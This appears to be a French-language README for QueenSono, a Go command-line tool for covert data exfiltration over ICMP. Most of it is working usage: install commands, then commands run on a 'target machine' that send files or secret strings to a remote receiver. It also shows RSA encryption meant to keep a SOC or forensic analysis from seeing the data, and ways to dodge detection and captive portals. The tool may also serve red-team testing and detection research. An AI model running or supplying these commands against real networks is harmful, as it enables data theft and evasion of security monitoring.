
Binaire Golang pour l'exfiltration de données avec le protocole ICMP (+ bindshell ICMP, tunneling HTTP via ICMP, ...)
L'outil QueenSono repose uniquement sur le fait que le protocole ICMP n'est pas surveillé. C'est assez courant. Il pourrait également être utilisé dans un système avec une inspection ICMP basique (par exemple, un observateur de fréquence et de longueur de contenu) ou pour contourner l'étape d'authentification avec un portail captif (utilisé par de nombreux Wi-Fi publics pour authentifier les utilisateurs après la connexion au Wi-Fi, par exemple les Wi-Fi d'aéroports). Il tente d'imiter PyExfil (et d'autres) avec l'idée que la machine cible n'a pas nécessairement Python installé (donc fournir un binaire pourrait être utile).
Installer
·
Utiliser
·
Notes
·
Demander une fonctionnalité
·
🎁
curl> Depuis la release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Via go install
Assurez-vous que $GOPATH est dans votre $PATH avant
Installer qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
Installer qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> Installer le binaire depuis les sources
Clonez le dépôt et téléchargez les dépendances localement :
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Pour construire l'expéditeur de paquets ICMP qssender :
build.queensono-sender
Pour construire le récepteur de paquets ICMP qsreceiver :
build.queensono-receiver
qssender est le binaire qui enverra les paquets ICMP au récepteur, c'est donc le binaire que vous devez transférer sur votre machine cible.
qsreceiver est le récepteur sur votre machine locale (ou partout où vous pouvez recevoir des paquets ICMP)
Toutes les commandes et options des binaires peuvent être trouvées en utilisant --help
> Dans cet exemple, nous voulons envoyer un gros fichier et attendre la réponse d'écho pour accuser réception des paquets (ACK).

Sur la machine locale :
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 écouter sur toutes les interfaces pour les paquets ICMP
-f received_bible.txt sauvegarder les données reçues dans un fichier
-p afficher une barre de progression des données reçues Sur la machine cible :
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file pour envoyer un fichier (bible.txt est le fichier en question)
-d 2 envoyer un paquet toutes les 2 secondes
-l 0.0.0.0 l'adresse d'écoute pour la réponse d'écho -r 10.0.0.92 l'adresse de ma machine distante avec qsreceiver à l'écoute-s 50000 la taille des données que je souhaite envoyer dans chaque paquet> Dans cet exemple, nous voulons envoyer un message sans attendre la réponse d'écho (cela pourrait être utile si le pare-feu de la cible filtre les paquets ICMP entrants)

Sur la machine locale :
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 n'attend pas indéfiniment si nous n'avons pas reçu tous les paquets. (1 est le délai utilisé avec qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allSur la machine cible :
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N option noreply (ne pas attendre la réponse d'écho)
> Dans cet exemple, nous voulons envoyer un message chiffré. Comme la ligne de commande pourrait être espionnée, nous utilisons un chiffrement asymétrique (si la clé fuit, ce n'est pas un problème de toute façon)

Sur la machine locale :
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt utiliser un échange de chiffrement. Cela générera une paire de clés publique/privée. La clé publique sera utilisée par qssender pour chiffrer les données, la clé privée est utilisée pour les déchiffrer avec receiver
Sur la machine cible :
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key fournir la clé pour le chiffrement des données. Utilisez celle fournie par la commande qsreceiver
Le chiffrement RSA est utilisé pour garder confidentielles les données échangées. Il pourrait être utile, par exemple, pour éviter qu'un SOC ne voie quelles données sont échangées (ou pour des analyses forensiques) avec une analyse basique, ou simplement pour la confidentialité.
Mais cela a un coût. Le choix du chiffrement asymétrique est motivé par le fait que la clé de chiffrement est saisie sur la ligne de commande (elle pourrait donc être récupérée facilement). Ainsi, nous chiffrons les données avec la clé publique. De cette façon, si quelqu'un récupère la clé de chiffrement, il ne sera pas possible de déchiffrer le message. Mais la clé publique est plus petite que la clé privée, donc elle chiffre des messages plus petits. De plus, c'est coûteux en calcul.
Un autre point, comme nous voulons limiter la taille des données / les requêtes ping (pour éviter la détection, les bugs, etc.), utilisez le chiffrement uniquement si nécessaire car la taille de sortie du message sera (devrait) toujours égale à la taille du Modulus (partie de la clé) qui est grande.
Actuellement, le message entier est chiffré puis divisé en morceaux pour être envoyé. De l'autre côté, nous attendons tous les paquets (morceaux), reconstruisons notre message puis le déchiffrons. Mais cela fonctionne ⇔ nous avons reçu TOUS les morceaux, sinon le déchiffrement échouera.
=> Nous pourrions chiffrer chaque morceau en fonction du paramètre -s, ainsi nous pourrions les déchiffrer séparément.
> Dans cet exemple, la machine locale renvoie des données à la cible via des réponses d'écho ICMP. Utile lorsque l'ICMP sortant de la cible est filtré mais que la cible peut recevoir des réponses d'écho.
Sur la machine locale :
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send attend un déclencheur de qssender, puis renvoie les données sous forme de réponses d'écho ICMP
-l 0.0.0.0 écouter sur toutes les interfaces pour le paquet déclencheur
-d 1 délai d'une seconde entre chaque paquet de réponseSur la machine cible :
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive envoie un déclencheur à qsreceiver et collecte les données des réponses d'écho entrantes
-l 0.0.0.0 l'adresse d'écoute pour les réponses d'écho entrantes
-r 10.0.0.92 l'adresse de ma machine locale avec qsreceiver reply-send en attenteQueenSono prend en charge ICMPv6 de manière transparente. Passez une adresse IPv6 et le protocole est détecté automatiquement — aucun indicateur supplémentaire nécessaire.
Sur la machine locale :
$ qsreceiver receive -l ::
Sur la machine cible :
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: écouter sur toutes les interfaces IPv6
-r fe80::1 adresse IPv6 de la machine distante — déclenche ICMPv6 automatiquement
Tous les modes (envoi avec ACK, envoi sans ACK, chiffré, réponse d'écho) fonctionnent de la même manière sur IPv6.
Voir la section hack pour des choses amusantes avec QueenSono :
cap_net_raw